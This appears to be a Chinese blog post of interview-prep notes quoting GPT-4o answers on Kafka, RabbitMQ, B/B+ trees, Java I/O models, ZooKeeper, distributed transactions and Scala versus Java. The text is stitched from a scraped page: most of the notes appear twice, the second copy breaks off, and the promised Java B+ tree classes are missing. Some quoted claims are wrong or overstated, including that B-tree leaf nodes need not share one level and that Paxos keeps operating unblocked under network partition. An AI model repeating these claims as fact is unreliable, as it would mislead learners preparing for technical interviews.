2.LeetCode5 最长回文子串

 

3.Kafka为何那么快

GPT问答

Kafka为何那么快
Kafka 以其高性能和低延迟广受欢迎,原因在于其设计中的几个关键因素:
  1. 顺序写入磁盘
      • Kafka 将消息顺序地写入磁盘,这比随机写入快得多,因为顺序写入可以充分利用磁盘的带宽。
  1. 零拷贝机制
      • Kafka 使用了零拷贝技术(Zero Copy),这使得消息在网络传输过程中不需要被多次拷贝,从而提高了传输效率。零拷贝技术允许数据直接从磁盘传输到网络缓冲区,而不需要在用户态和内核态之间进行数据拷贝。
  1. 分区和并行处理
      • Kafka 将数据分片成多个分区(Partitions),每个分区可以分配给不同的消费者,从而实现并行处理。多个分区可以分布在不同的机器上,实现负载均衡和高吞吐量。
  1. 批量处理
      • Kafka 支持批量消息传递(Batch Processing),可以在一次网络请求中发送或接收多条消息。这样减少了网络开销,提高了吞吐量。
  1. 高效的存储格式
      • Kafka 使用了一种高效的二进制消息格式。这种格式使得消息在写入和读取时都非常高效,减少了序列化和反序列化的开销。
  1. 高效的索引机制
      • Kafka 使用稀疏索引和段文件(Segment Files),使得消息查找非常高效。每个段文件都有一个索引,消费者可以快速找到消息的位置。
  1. 内存映射文件
      • Kafka 使用内存映射文件(Memory-Mapped Files),使得磁盘上的数据可以被直接映射到内存中进行读写操作,从而提高了 I/O 性能。
  1. 异步复制
      • Kafka 的副本机制是异步复制的,主节点在写入数据后不需要等待所有副本节点的确认,减少了写入延迟。
  1. 高效的网络协议
      • Kafka 使用了一种高效的二进制网络协议(基于 TCP),减少了网络通信的开销。
  1. 简化的消费者模型
      • Kafka 的消费者模型非常简化,不需要中心化的协调服务来管理消费者状态,消费者自己负责跟踪读取的偏移量(Offset),这减少了协调开销。
这些设计决策共同作用,使得 Kafka 能够实现高吞吐量、低延迟的消息处理能力,适用于大规模、高并发的数据流处理场景。

 
rabbitmq消息是顺序写入磁盘吗
RabbitMQ 的消息存储和处理机制与 Kafka 有一些显著的不同。RabbitMQ 并不总是顺序地将消息写入磁盘,其消息存储机制依赖于不同的持久性设置和队列类型。以下是一些关键点:
  1. 持久性设置
      • 如果消息和队列被标记为持久(durable),RabbitMQ 会将消息写入磁盘以保证在服务器重启后消息不会丢失。持久消息会在收到时立即被写入磁盘。
      • 非持久消息通常只保存在内存中,虽然在内存压力大时也可能被写入磁盘,但这不是默认行为。
  1. 内存和磁盘的使用
      • RabbitMQ 首先将消息保存在内存中,以提高消息的吞吐量和处理速度。
      • 当内存使用达到一定阈值时,RabbitMQ 会将消息转移到磁盘上,以防止内存溢出。这种情况下,消息写入磁盘的顺序可能会有所不同。
  1. 队列类型
      • 不同类型的队列有不同的消息存储策略。例如,经典队列(Classic Queue)和 Quorum Queue 在消息存储和复制上有不同的实现方式。
      • Quorum Queue 是基于 Raft 共识算法实现的,提供了更高的可靠性和一致性的消息存储,但其性能和消息写入顺序可能会受到影响。
  1. 消息确认机制
      • RabbitMQ 支持多种消息确认机制(如消息确认、发布确认等),这些机制可以影响消息何时被写入磁盘以及写入的顺序。
总的来说,RabbitMQ 不总是顺序地将消息写入磁盘。消息的写入顺序和时机受多种因素影响,包括消息和队列的持久性设置、内存使用情况、队列类型和消息确认机制等。
相比之下,Kafka 设计上的一个显著特点是顺序写入磁盘,这使其在高吞吐量和低延迟的日志存储和流处理场景中表现优异。而 RabbitMQ 作为一个强大的消息队列系统,提供了丰富的功能和灵活性,但在消息持久化和存储机制上与 Kafka 有着不同的设计和优化。

总结

  • 顺序写可以最大的利用磁盘的带宽
  • 零拷贝允许磁盘直接到网络缓冲区,不用经过多次copy,内核不用多次切换
  • 批量处理机制
 

4.MySQL中B树 B+树区别

GPT问答

MySQL中B树 B+树区别
B树(B-Tree)和 B+树(B+ Tree)是两种常见的树形数据结构,用于数据库和文件系统的索引结构。它们都有助于高效地存储和检索数据,但它们在实现和性能上有一些关键的区别。
B树(B-Tree)
  1. 节点结构
      • B树的每个节点可以包含多个键和子节点指针。
      • 每个节点的键和子节点指针数量有一个上限和下限,具体取决于树的阶(degree)。
      • 所有叶子节点不一定在同一层。
  1. 叶子节点
      • 叶子节点包含实际的数据记录。
      • 由于数据可以存在于所有节点(不仅仅是叶子节点),因此查找数据时可能在非叶子节点找到。
  1. 搜索效率
      • 查询过程中,数据可能在任何层次的节点中找到,导致查询路径可能较短。
B+树(B+ Tree)
  1. 节点结构
      • 内部节点(非叶子节点)只存储键和子节点指针,不存储实际数据。
      • 叶子节点存储所有的数据记录。
      • 所有叶子节点在同一层,并通过指针相互链接,形成一个链表结构。
  1. 叶子节点
      • 叶子节点包含所有的数据记录和指向相邻叶子节点的指针。
      • 这种结构使得范围查询和顺序访问更加高效。
  1. 搜索效率
      • 数据记录只存在于叶子节点,因此查找数据时必须到达叶子节点,但由于叶子节点在同一层,所以树的高度较低,查找路径相对稳定。
主要区别总结
  1. 数据存储位置
      • B树:数据存储在所有节点中(包括内部节点和叶子节点)。
      • B+树:数据仅存储在叶子节点中。
  1. 叶子节点的结构
      • B树:叶子节点没有特别的链接结构。
      • B+树:叶子节点通过链表结构相互链接,便于范围查询和顺序访问。
  1. 树的高度
      • B树:由于数据存储在各层节点中,树的高度可能会比 B+树稍高。
      • B+树:所有数据都在叶子节点中,内部节点的高度较低,树的高度更稳定。
  1. 查询效率
      • B树:数据可能在任何节点中找到,查询路径可能较短。
      • B+树:数据必须到叶子节点才找到,但由于叶子节点在同一层,查找路径较稳定。
应用场景
  • B树:适用于需要频繁插入和删除操作的场景,因为它不需要保持叶子节点的链表结构。
  • B+树:适用于需要高效范围查询和顺序访问的场景,比如数据库索引结构。
在 MySQL 中,InnoDB 存储引擎使用 B+树作为其默认索引结构,因为这种结构非常适合数据库的范围查询和顺序访问。

 
给我用java类的方式,写出B+树的叶子结点结构和内部节点结构
假设每个节点可以存储一个固定数量的键,并且每个叶子节点包含一个指向下一个叶子节点的指针。
B+ 树叶子节点结构
B+ 树内部节点结构
说明
  • 叶子节点(BPlusTreeLeafNode)包含键和值的数组以及指向下一个叶子节点的指针。
  • 内部节点(BPlusTreeInternalNode)包含键的数组和子节点指针的数组。
  • 为了简化实现,假设每个节点最多存储4个键。
  • 实际的插入和删除逻辑需要处理节点分裂、合并等操作,这里省略了具体实现。
这些类提供了 B+ 树节点的基本结构。在完整实现中,你需要实现插入、删除、查找等操作,以及处理节点的分裂和合并。

总结

  • B+树,主要就是去看叶子节点和非叶子节点的特性
  • 叶子节点才有值,非叶子节点只是做导航用的
  • 为了满足范围查询,有个next相邻指针的概念
  • 查询路径稳定,不会有大波动
 

5.、Netty、BIO、NIO、AIO框架

GPT问答

给我介绍下Netty、BIO、NIO、AIO
Netty 是一个基于 Java 的高性能、异步事件驱动的网络应用框架,主要用于开发高性能的网络服务器和客户端。Netty 提供了丰富的功能,如:
  • 支持多种协议(如 HTTP、FTP、SMTP、WebSocket 等)。
  • 高度可配置的线程模型。
  • 内置的编解码器,方便进行数据处理。
  • 异步和事件驱动的编程模型,简化了并发编程。
Netty 的核心是基于 NIO 的,提供了更高的抽象层,使开发更容易和高效。
BIO (Blocking I/O) 是 Java 传统的 I/O 模型,基于流的阻塞式 I/O 操作。其特点是:
  • 每个连接都会有一个独立的线程进行处理。
  • 阻塞式 I/O 操作会导致线程等待,直到数据准备好。
  • 简单易用,但在高并发场景下性能较差,因为线程资源会被大量消耗。
NIO(Non-blocking I/O)
NIO (Non-blocking I/O) 是 Java 1.4 引入的一种新的 I/O 模型,提供了非阻塞式的 I/O 操作。其特点包括:
  • 基于通道(Channel)和缓冲区(Buffer)。
  • 使用选择器(Selector)管理多个通道,进行单线程多路复用。
  • 非阻塞的 I/O 操作,不会阻塞线程。
AIO(Asynchronous I/O)
AIO (Asynchronous I/O) 是 Java 7 引入的一种 I/O 模型,也称为 NIO.2。AIO 提供了异步的 I/O 操作,其特点包括:
  • 异步非阻塞 I/O 操作,通过回调机制处理 I/O 事件。
  • 更加高效地处理大量连接,适合高性能、高并发的网络应用。

总结

  • BIO 适用于连接数目较小且固定的场景,编程模型简单直观。
  • NIO 适用于连接数目多且连接较短的场景,能够通过单线程处理多连接,但编程复杂度较高。
  • AIO 适用于连接数目多且连接较长的场景,能够实现完全的异步非阻塞 I/O 操作,编程模型复杂。
  • Netty 基于 NIO,提供了更高的抽象层,简化了开发过程,同时具有高性能和高可扩展性,适用于大多数网络应用场景。
 

6.ZooKeeper的理解,分布式事务2PC、3PC、TCC、Paxos实现思路及优缺点

GPT问答

ZooKeeper是什么,有什么特性,为啥可以满足cp
Apache ZooKeeper 是一个开源的分布式协调服务,用于管理大型分布式系统中的配置信息、命名、同步和组服务等任务。它提供了一组简单的原语,分布式应用程序可以用它来实现更高层次的服务,例如同步、配置管理和命名等。
ZooKeeper 的特性
  1. 简化开发:通过提供简单的接口和一致性保证,简化了分布式应用程序的开发。
  1. 高可用性:ZooKeeper 通过其分布式架构实现高可用性。它的服务可以在多个服务器之间复制,保证即使个别节点失效也不会影响整个系统的运行。
  1. 严格的顺序保证:ZooKeeper 保证对所有更新操作的全局顺序。
  1. 高性能:ZooKeeper 在读操作上具有高性能,因为读操作可以在所有节点上进行。
  1. 一致性:ZooKeeper 保证客户端在任何时刻读到的数据是最新的或者是一个较新的数据版本。
ZooKeeper 的一致性模型
ZooKeeper 是一个 CP 系统(在 CAP 定理中),即它保证一致性(Consistency)和分区容忍性(Partition Tolerance),可能会在可用性(Availability)上做出牺牲。
  1. 一致性(Consistency)
      • 在 ZooKeeper 中,当一个操作返回成功时,意味着系统所有节点的数据都是一致的。
      • ZooKeeper 的一致性通过其严格的顺序保证和持久性机制实现。所有对 ZooKeeper 的写操作(例如创建、更新或删除节点)都会按照全局顺序写入日志,并且这些日志会在所有节点上进行复制。
  1. 分区容忍性(Partition Tolerance)
      • ZooKeeper 能够在网络分区的情况下继续运行。它采用 ZAB (ZooKeeper Atomic Broadcast) 协议来保证在分区情况下的容错性。
      • 当网络分区发生时,ZooKeeper 会选出一个主节点,只要超过半数的节点仍然能够通信,ZooKeeper 就能继续服务。
  1. 可用性(Availability)
      • 在 CAP 定理中,ZooKeeper 在某些情况下会牺牲可用性以保证一致性和分区容忍性。例如,在网络分区期间,如果无法达成多数节点的共识,ZooKeeper 可能会停止提供服务,以避免不一致的数据状态。
它通过 ZAB 协议和复制机制保证一致性和分区容忍性,这使得 ZooKeeper 在 CAP 定理中满足 CP 的要求。尽管在极端情况下可能会牺牲可用性,但这也是为了保证系统的一致性和整体可靠性。

 
分布式事务2PC、3PC、TCC、Paxos实现思路及优缺点
分布式事务在分布式系统中用于保证跨多个节点的操作要么全部成功,要么全部失败。以下是四种常见的分布式事务实现思路:2PC(Two-Phase Commit)、3PC(Three-Phase Commit)、TCC(Try-Confirm/Cancel)、Paxos。
1. Two-Phase Commit (2PC)
实现思路
2PC 分为两个阶段:
  • 阶段 1:准备阶段(Prepare Phase)
    • 协调者(Coordinator)向所有参与者(Participants)发送准备请求(Prepare Request)。
    • 参与者执行事务操作并将操作结果写入日志,但不提交(Commit),然后向协调者返回准备就绪(Ready)或失败(Abort)。
  • 阶段 2:提交阶段(Commit Phase)
    • 如果所有参与者都返回准备就绪,协调者发送提交请求(Commit Request),参与者提交事务。
    • 如果有任何一个参与者返回失败,协调者发送回滚请求(Rollback Request),参与者回滚事务。
优点
  • 实现相对简单。
  • 容易理解和实现基本的事务一致性。
缺点
  • 同步阻塞:所有参与者在等待协调者的决策时会被阻塞。
  • 单点故障:协调者故障时,系统可能会进入不一致状态。
  • 超时问题:参与者可能长时间等待协调者的指令。
2. Three-Phase Commit (3PC)
实现思路
3PC 在 2PC 的基础上增加了一个准备提交阶段,分为三个阶段:
  • 阶段 1:询问阶段(CanCommit Phase)
    • 协调者向所有参与者发送询问请求(CanCommit Request)。
    • 参与者返回同意(Yes)或拒绝(No)。
  • 阶段 2:准备提交阶段(PreCommit Phase)
    • 如果所有参与者都同意,协调者发送准备提交请求(PreCommit Request)。
    • 参与者在准备提交阶段确认准备就绪。
  • 阶段 3:提交阶段(DoCommit Phase)
    • 协调者发送提交请求(DoCommit Request),参与者提交事务。
优点
  • 减少了单点故障的影响:通过增加阶段,降低了协调者故障带来的风险。
  • 更加非阻塞:参与者可以在等待协调者指令时进行超时处理。
缺点
  • 实现复杂度增加。
  • 仍然存在网络分区可能带来的问题。
3. Try-Confirm/Cancel (TCC)
实现思路
TCC 模型分为三个操作:
  • Try:尝试执行,预留资源。
  • Confirm:确认执行,真正提交事务。
  • Cancel:取消执行,释放资源。
优点
  • 灵活性高:可以根据业务需求自定义 Try、Confirm 和 Cancel 的逻辑。
  • 异步执行:Try 操作可以异步执行,提高系统性能。
缺点
  • 实现复杂度高:需要明确实现每个步骤的业务逻辑。
  • 一致性依赖于业务逻辑的正确实现。
4. Paxos
实现思路
Paxos 是一种分布式一致性算法,用于在分布式系统中达成共识。主要步骤如下:
  • 提议阶段(Prepare Phase)
    • 提议者(Proposer)向所有接受者(Acceptor)发送提议请求,附带提议编号。
    • 接受者返回承诺不再接受编号低于当前请求的提议。
  • 提交阶段(Accept Phase)
    • 提议者收到多数接受者的承诺后,发送提交请求。
    • 接受者同意该提议并更新状态。
  • 学习阶段(Learn Phase)
    • 一旦提议被多数接受者接受,提议者通知所有节点该提议已被选定。
优点
  • 高容错性:在大多数节点存活的情况下仍能达成一致。
  • 非阻塞:在网络分区情况下仍能继续操作。
缺点
  • 高复杂度:实现和理解相对复杂。
  • 性能开销:多次通信和协调带来较高的性能开销。

 

总结

  • 2PC3PC 适用于需要严格事务一致性的场景,但存在同步阻塞和单点故障问题。
  • TCC 提供了更高的灵活性和性能,但需要自定义业务逻辑实现。
  • Paxos 适用于需要高容错和一致性的分布式系统,但实现复杂且性能开销较大。根据具体业务需求和系统特性选择合适的分布式事务方案,是设计分布式系统时的关键决策。
  • 2PC和3PC在做取舍,一致性?可用性?
 

7. Scala跟Java的区别关系

GPT问答

Scala跟Java的区别关系
Scala 和 Java 都是运行在 JVM(Java Virtual Machine)上的编程语言,但它们在设计理念、语法特性和应用场景等方面有着显著的区别和关系。以下是一些主要的区别和关系:
设计理念与范式
  • Java 是一种面向对象编程(OOP)语言,强调类和对象的使用。
  • Scala 是一种多范式编程语言,支持面向对象编程(OOP)和函数式编程(FP),其设计目标是提供一种更简洁、灵活和表达力更强的编程方式。语法简洁性
  • Java 语法相对冗长,需要写较多的模板代码(boilerplate code)。
  • Scala 语法简洁,减少了大量的模板代码。例如,Scala 中可以使用类型推断来减少显式类型声明。
函数式编程支持
  • Java 虽然在 Java 8 之后引入了 lambda 表达式和 Stream API,但其函数式编程特性相对有限。
  • Scala 原生支持函数式编程,拥有强大的高阶函数、不可变数据结构和模式匹配等特性。
类型系统
  • Java 使用相对传统的类型系统,泛型在某些情况下可能带来复杂性。
  • Scala 拥有更强大和灵活的类型系统,包括类型推断、协变和逆变、隐式转换、类型类等特性。
并发编程模型
  • Java 提供了线程、同步块、并发包(如 java.util.concurrent)等用于并发编程。
  • Scala 提供了更高级的并发编程模型,如 Akka Actor 模型,用于简化复杂的并发编程。
互操作性
  • JavaScala 都运行在 JVM 上,因此它们可以互相调用。Scala 可以直接调用 Java 的类库,反之亦然。
社区与生态系统
  • Java 拥有庞大的社区和丰富的类库、框架,如 Spring、Hibernate 等。
  • Scala 也有自己的生态系统,如 Akka、Play Framework 和 Spark 等,但其社区相对较小。
编译器和工具链
  • Java 编译器(javac)和工具链发展成熟,支持广泛的集成开发环境(IDE)和构建工具(如 Maven 和 Gradle)。
  • Scala 编译器(scalac)相对复杂,编译时间较长,但也支持诸如 sbt 这样的构建工具和 IDE 插件。
总的来说,Scala 和 Java 各有优劣,选择使用哪种语言可以根据具体的项目需求、团队熟悉度和开发效率等因素来决定。

总结

  • 互相是调用是我没想到的
 
 

写到最后

notion image
+万里长征-03-搜狐 | Both Savage

万里长征-03-搜狐

type
status
date
slug
summary
tags
category
icon
password
以下内容基于GPT-4o模型
 

问题

1.LeetCode103 二叉树的锯齿形层序遍历

2.LeetCode5 最长回文子串

 

3.Kafka为何那么快

GPT问答

Kafka为何那么快
Kafka 以其高性能和低延迟广受欢迎,原因在于其设计中的几个关键因素:
  1. 顺序写入磁盘
      • Kafka 将消息顺序地写入磁盘,这比随机写入快得多,因为顺序写入可以充分利用磁盘的带宽。
  1. 零拷贝机制
      • Kafka 使用了零拷贝技术(Zero Copy),这使得消息在网络传输过程中不需要被多次拷贝,从而提高了传输效率。零拷贝技术允许数据直接从磁盘传输到网络缓冲区,而不需要在用户态和内核态之间进行数据拷贝。
  1. 分区和并行处理
      • Kafka 将数据分片成多个分区(Partitions),每个分区可以分配给不同的消费者,从而实现并行处理。多个分区可以分布在不同的机器上,实现负载均衡和高吞吐量。
  1. 批量处理
      • Kafka 支持批量消息传递(Batch Processing),可以在一次网络请求中发送或接收多条消息。这样减少了网络开销,提高了吞吐量。
  1. 高效的存储格式
      • Kafka 使用了一种高效的二进制消息格式。这种格式使得消息在写入和读取时都非常高效,减少了序列化和反序列化的开销。
  1. 高效的索引机制
      • Kafka 使用稀疏索引和段文件(Segment Files),使得消息查找非常高效。每个段文件都有一个索引,消费者可以快速找到消息的位置。
  1. 内存映射文件
      • Kafka 使用内存映射文件(Memory-Mapped Files),使得磁盘上的数据可以被直接映射到内存中进行读写操作,从而提高了 I/O 性能。
  1. 异步复制
      • Kafka 的副本机制是异步复制的,主节点在写入数据后不需要等待所有副本节点的确认,减少了写入延迟。
  1. 高效的网络协议
      • Kafka 使用了一种高效的二进制网络协议(基于 TCP),减少了网络通信的开销。
  1. 简化的消费者模型
      • Kafka 的消费者模型非常简化,不需要中心化的协调服务来管理消费者状态,消费者自己负责跟踪读取的偏移量(Offset),这减少了协调开销。
这些设计决策共同作用,使得 Kafka 能够实现高吞吐量、低延迟的消息处理能力,适用于大规模、高并发的数据流处理场景。

 
rabbitmq消息是顺序写入磁盘吗
RabbitMQ 的消息存储和处理机制与 Kafka 有一些显著的不同。RabbitMQ 并不总是顺序地将消息写入磁盘,其消息存储机制依赖于不同的持久性设置和队列类型。以下是一些关键点:
  1. 持久性设置
      • 如果消息和队列被标记为持久(durable),RabbitMQ 会将消息写入磁盘以保证在服务器重启后消息不会丢失。持久消息会在收到时立即被写入磁盘。
      • 非持久消息通常只保存在内存中,虽然在内存压力大时也可能被写入磁盘,但这不是默认行为。
  1. 内存和磁盘的使用
      • RabbitMQ 首先将消息保存在内存中,以提高消息的吞吐量和处理速度。
      • 当内存使用达到一定阈值时,RabbitMQ 会将消息转移到磁盘上,以防止内存溢出。这种情况下,消息写入磁盘的顺序可能会有所不同。
  1. 队列类型
      • 不同类型的队列有不同的消息存储策略。例如,经典队列(Classic Queue)和 Quorum Queue 在消息存储和复制上有不同的实现方式。
      • Quorum Queue 是基于 Raft 共识算法实现的,提供了更高的可靠性和一致性的消息存储,但其性能和消息写入顺序可能会受到影响。
  1. 消息确认机制
      • RabbitMQ 支持多种消息确认机制(如消息确认、发布确认等),这些机制可以影响消息何时被写入磁盘以及写入的顺序。
总的来说,RabbitMQ 不总是顺序地将消息写入磁盘。消息的写入顺序和时机受多种因素影响,包括消息和队列的持久性设置、内存使用情况、队列类型和消息确认机制等。
相比之下,Kafka 设计上的一个显著特点是顺序写入磁盘,这使其在高吞吐量和低延迟的日志存储和流处理场景中表现优异。而 RabbitMQ 作为一个强大的消息队列系统,提供了丰富的功能和灵活性,但在消息持久化和存储机制上与 Kafka 有着不同的设计和优化。

总结

  • 顺序写可以最大的利用磁盘的带宽
  • 零拷贝允许磁盘直接到网络缓冲区,不用经过多次copy,内核不用多次切换
  • 批量处理机制
 

4.MySQL中B树 B+树区别

GPT问答

MySQL中B树 B+树区别
B树(B-Tree)和 B+树(B+ Tree)是两种常见的树形数据结构,用于数据库和文件系统的索引结构。它们都有助于高效地存储和检索数据,但它们在实现和性能上有一些关键的区别。
B树(B-Tree)
  1. 节点结构
      • B树的每个节点可以包含多个键和子节点指针。
      • 每个节点的键和子节点指针数量有一个上限和下限,具体取决于树的阶(degree)。
      • 所有叶子节点不一定在同一层。
  1. 叶子节点
      • 叶子节点包含实际的数据记录。
      • 由于数据可以存在于所有节点(不仅仅是叶子节点),因此查找数据时可能在非叶子节点找到。
  1. 搜索效率
      • 查询过程中,数据可能在任何层次的节点中找到,导致查询路径可能较短。
B+树(B+ Tree)
  1. 节点结构
      • 内部节点(非叶子节点)只存储键和子节点指针,不存储实际数据。
      • 叶子节点存储所有的数据记录。
      • 所有叶子节点在同一层,并通过指针相互链接,形成一个链表结构。
  1. 叶子节点
      • 叶子节点包含所有的数据记录和指向相邻叶子节点的指针。
      • 这种结构使得范围查询和顺序访问更加高效。
  1. 搜索效率
      • 数据记录只存在于叶子节点,因此查找数据时必须到达叶子节点,但由于叶子节点在同一层,所以树的高度较低,查找路径相对稳定。
主要区别总结
  1. 数据存储位置
      • B树:数据存储在所有节点中(包括内部节点和叶子节点)。
      • B+树:数据仅存储在叶子节点中。
  1. 叶子节点的结构
      • B树:叶子节点没有特别的链接结构。
      • B+树:叶子节点通过链表结构相互链接,便于范围查询和顺序访问。
  1. 树的高度
      • B树:由于数据存储在各层节点中,树的高度可能会比 B+树稍高。
      • B+树:所有数据都在叶子节点中,内部节点的高度较低,树的高度更稳定。
  1. 查询效率
      • B树:数据可能在任何节点中找到,查询路径可能较短。
      • B+树:数据必须到叶子节点才找到,但由于叶子节点在同一层,查找路径较稳定。
应用场景
  • B树:适用于需要频繁插入和删除操作的场景,因为它不需要保持叶子节点的链表结构。
  • B+树:适用于需要高效范围查询和顺序访问的场景,比如数据库索引结构。
在 MySQL 中,InnoDB 存储引擎使用 B+树作为其默认索引结构,因为这种结构非常适合数据库的范围查询和顺序访问。

 
给我用java类的方式,写出B+树的叶子结点结构和内部节点结构
假设每个节点可以存储一个固定数量的键,并且每个叶子节点包含一个指向下一个叶子节点的指针。
B+ 树叶子节点结构
B+ 树内部节点结构
说明
  • 叶子节点(BPlusTreeLeafNode)包含键和值的数组以及指向下一个叶子节点的指针。
  • 内部节点(BPlusTreeInternalNode)包含键的数组和子节点指针的数组。
  • 为了简化实现,假设每个节点最多存储4个键。
  • 实际的插入和删除逻辑需要处理节点分裂、合并等操作,这里省略了具体实现。
这些类提供了 B+ 树节点的基本结构。在完整实现中,你需要实现插入、删除、查找等操作,以及处理节点的分裂和合并。

总结

  • B+树,主要就是去看叶子节点和非叶子节点的特性
  • 叶子节点才有值,非叶子节点只是做导航用的
  • 为了满足范围查询,有个next相邻指针的概念
  • 查询路径稳定,不会有大波动
 

5.、Netty、BIO、NIO、AIO框架

GPT问答

给我介绍下Netty、BIO、NIO、AIO
Netty 是一个基于 Java 的高性能、异步事件驱动的网络应用框架,主要用于开发高性能的网络服务器和客户端。Netty 提供了丰富的功能,如:
  • 支持多种协议(如 HTTP、FTP、SMTP、WebSocket 等)。
  • 高度可配置的线程模型。
  • 内置的编解码器,方便进行数据处理。
  • 异步和事件驱动的编程模型,简化了并发编程。
Netty 的核心是基于 NIO 的,提供了更高的抽象层,使开发更容易和高效。
BIO (Blocking I/O) 是 Java 传统的 I/O 模型,基于流的阻塞式 I/O 操作。其特点是:
  • 每个连接都会有一个独立的线程进行处理。
  • 阻塞式 I/O 操作会导致线程等待,直到数据准备好。
  • 简单易用,但在高并发场景下性能较差,因为线程资源会被大量消耗。
NIO(Non-blocking I/O)
NIO (Non-blocking I/O) 是 Java 1.4 引入的一种新的 I/O 模型,提供了非阻塞式的 I/O 操作。其特点包括:
  • 基于通道(Channel)和缓冲区(Buffer)。
  • 使用选择器(Selector)管理多个通道,进行单线程多路复用。
  • 非阻塞的 I/O 操作,不会阻塞线程。
AIO(Asynchronous I/O)
AIO (Asynchronous I/O) 是 Java 7 引入的一种 I/O 模型,也称为 NIO.2。AIO 提供了异步的 I/O 操作,其特点包括:
  • 异步非阻塞 I/O 操作,通过回调机制处理 I/O 事件。
  • 更加高效地处理大量连接,适合高性能、高并发的网络应用。

总结

  • BIO 适用于连接数目较小且固定的场景,编程模型简单直观。
  • NIO 适用于连接数目多且连接较短的场景,能够通过单线程处理多连接,但编程复杂度较高。
  • AIO 适用于连接数目多且连接较长的场景,能够实现完全的异步非阻塞 I/O 操作,编程模型复杂。
  • Netty 基于 NIO,提供了更高的抽象层,简化了开发过程,同时具有高性能和高可扩展性,适用于大多数网络应用场景。
 

6.ZooKeeper的理解,分布式事务2PC、3PC、TCC、Paxos实现思路及优缺点

GPT问答

ZooKeeper是什么,有什么特性,为啥可以满足cp
Apache ZooKeeper 是一个开源的分布式协调服务,用于管理大型分布式系统中的配置信息、命名、同步和组服务等任务。它提供了一组简单的原语,分布式应用程序可以用它来实现更高层次的服务,例如同步、配置管理和命名等。
ZooKeeper 的特性
  1. 简化开发:通过提供简单的接口和一致性保证,简化了分布式应用程序的开发。
  1. 高可用性:ZooKeeper 通过其分布式架构实现高可用性。它的服务可以在多个服务器之间复制,保证即使个别节点失效也不会影响整个系统的运行。
  1. 严格的顺序保证:ZooKeeper 保证对所有更新操作的全局顺序。
  1. 高性能:ZooKeeper 在读操作上具有高性能,因为读操作可以在所有节点上进行。
  1. 一致性:ZooKeeper 保证客户端在任何时刻读到的数据是最新的或者是一个较新的数据版本。
ZooKeeper 的一致性模型
ZooKeeper 是一个 CP 系统(在 CAP 定理中),即它保证一致性(Consistency)和分区容忍性(Partition Tolerance),可能会在可用性(Availability)上做出牺牲。
  1. 一致性(Consistency)
      • 在 ZooKeeper 中,当一个操作返回成功时,意味着系统所有节点的数据都是一致的。
      • ZooKeeper 的一致性通过其严格的顺序保证和持久性机制实现。所有对 ZooKeeper 的写操作(例如创建、更新或删除节点)都会按照全局顺序写入日志,并且这些日志会在所有节点上进行复制。
  1. 分区容忍性(Partition Tolerance)
      • ZooKeeper 能够在网络分区的情况下继续运行。它采用 ZAB (ZooKeeper Atomic Broadcast) 协议来保证在分区情况下的容错性。
      • 当网络分区发生时,ZooKeeper 会选出一个主节点,只要超过半数的节点仍然能够通信,ZooKeeper 就能继续服务。
  1. 可用性(Availability)
      • 在 CAP 定理中,ZooKeeper 在某些情况下会牺牲可用性以保证一致性和分区容忍性。例如,在网络分区期间,如果无法达成多数节点的共识,ZooKeeper 可能会停止提供服务,以避免不一致的数据状态。
它通过 ZAB 协议和复制机制保证一致性和分区容忍性,这使得 ZooKeeper 在 CAP 定理中满足 CP 的要求。尽管在极端情况下可能会牺牲可用性,但这也是为了保证系统的一致性和整体可靠性。

 
分布式事务2PC、3PC、TCC、Paxos实现思路及优缺点
分布式事务在分布式系统中用于保证跨多个节点的操作要么全部成功,要么全部失败。以下是四种常见的分布式事务实现思路:2PC(Two-Phase Commit)、3PC(Three-Phase Commit)、TCC(Try-Confirm/Cancel)、Paxos。
1. Two-Phase Commit (2PC)
实现思路
2PC 分为两个阶段:
  • 阶段 1:准备阶段(Prepare Phase)
    • 协调者(Coordinator)向所有参与者(Participants)发送准备请求(Prepare Request)。
    • 参与者执行事务操作并将操作结果写入日志,但不提交(Commit),然后向协调者返回准备就绪(Ready)或失败(Abort)。
  • 阶段 2:提交阶段(Commit Phase)
    • 如果所有参与者都返回准备就绪,协调者发送提交请求(Commit Request),参与者提交事务。
    • 如果有任何一个参与者返回失败,协调者发送回滚请求(Rollback Request),参与者回滚事务。
优点
  • 实现相对简单。
  • 容易理解和实现基本的事务一致性。
缺点
  • 同步阻塞:所有参与者在等待协调者的决策时会被阻塞。
  • 单点故障:协调者故障时,系统可能会进入不一致状态。
  • 超时问题:参与者可能长时间等待协调者的指令。
2. Three-Phase Commit (3PC)
实现思路
3PC 在 2PC 的基础上增加了一个准备提交阶段,分为三个阶段:
  • 阶段 1:询问阶段(CanCommit Phase)
    • 协调者向所有参与者发送询问请求(CanCommit Request)。
    • 参与者返回同意(Yes)或拒绝(No)。
  • 阶段 2:准备提交阶段(PreCommit Phase)
    • 如果所有参与者都同意,协调者发送准备提交请求(PreCommit Request)。
    • 参与者在准备提交阶段确认准备就绪。
  • 阶段 3:提交阶段(DoCommit Phase)
    • 协调者发送提交请求(DoCommit Request),参与者提交事务。
优点
  • 减少了单点故障的影响:通过增加阶段,降低了协调者故障带来的风险。
  • 更加非阻塞:参与者可以在等待协调者指令时进行超时处理。
缺点
  • 实现复杂度增加。
  • 仍然存在网络分区可能带来的问题。
3. Try-Confirm/Cancel (TCC)
实现思路
TCC 模型分为三个操作:
  • Try:尝试执行,预留资源。
  • Confirm:确认执行,真正提交事务。
  • Cancel:取消执行,释放资源。
优点
  • 灵活性高:可以根据业务需求自定义 Try、Confirm 和 Cancel 的逻辑。
  • 异步执行:Try 操作可以异步执行,提高系统性能。
缺点
  • 实现复杂度高:需要明确实现每个步骤的业务逻辑。
  • 一致性依赖于业务逻辑的正确实现。
4. Paxos
实现思路
Paxos 是一种分布式一致性算法,用于在分布式系统中达成共识。主要步骤如下:
  • 提议阶段(Prepare Phase)
    • 提议者(Proposer)向所有接受者(Acceptor)发送提议请求,附带提议编号。
    • 接受者返回承诺不再接受编号低于当前请求的提议。
  • 提交阶段(Accept Phase)
    • 提议者收到多数接受者的承诺后,发送提交请求。
    • 接受者同意该提议并更新状态。
  • 学习阶段(Learn Phase)
    • 一旦提议被多数接受者接受,提议者通知所有节点该提议已被选定。
优点
  • 高容错性:在大多数节点存活的情况下仍能达成一致。
  • 非阻塞:在网络分区情况下仍能继续操作。
缺点
  • 高复杂度:实现和理解相对复杂。
  • 性能开销:多次通信和协调带来较高的性能开销。

 

总结

  • 2PC3PC 适用于需要严格事务一致性的场景,但存在同步阻塞和单点故障问题。
  • TCC 提供了更高的灵活性和性能,但需要自定义业务逻辑实现。
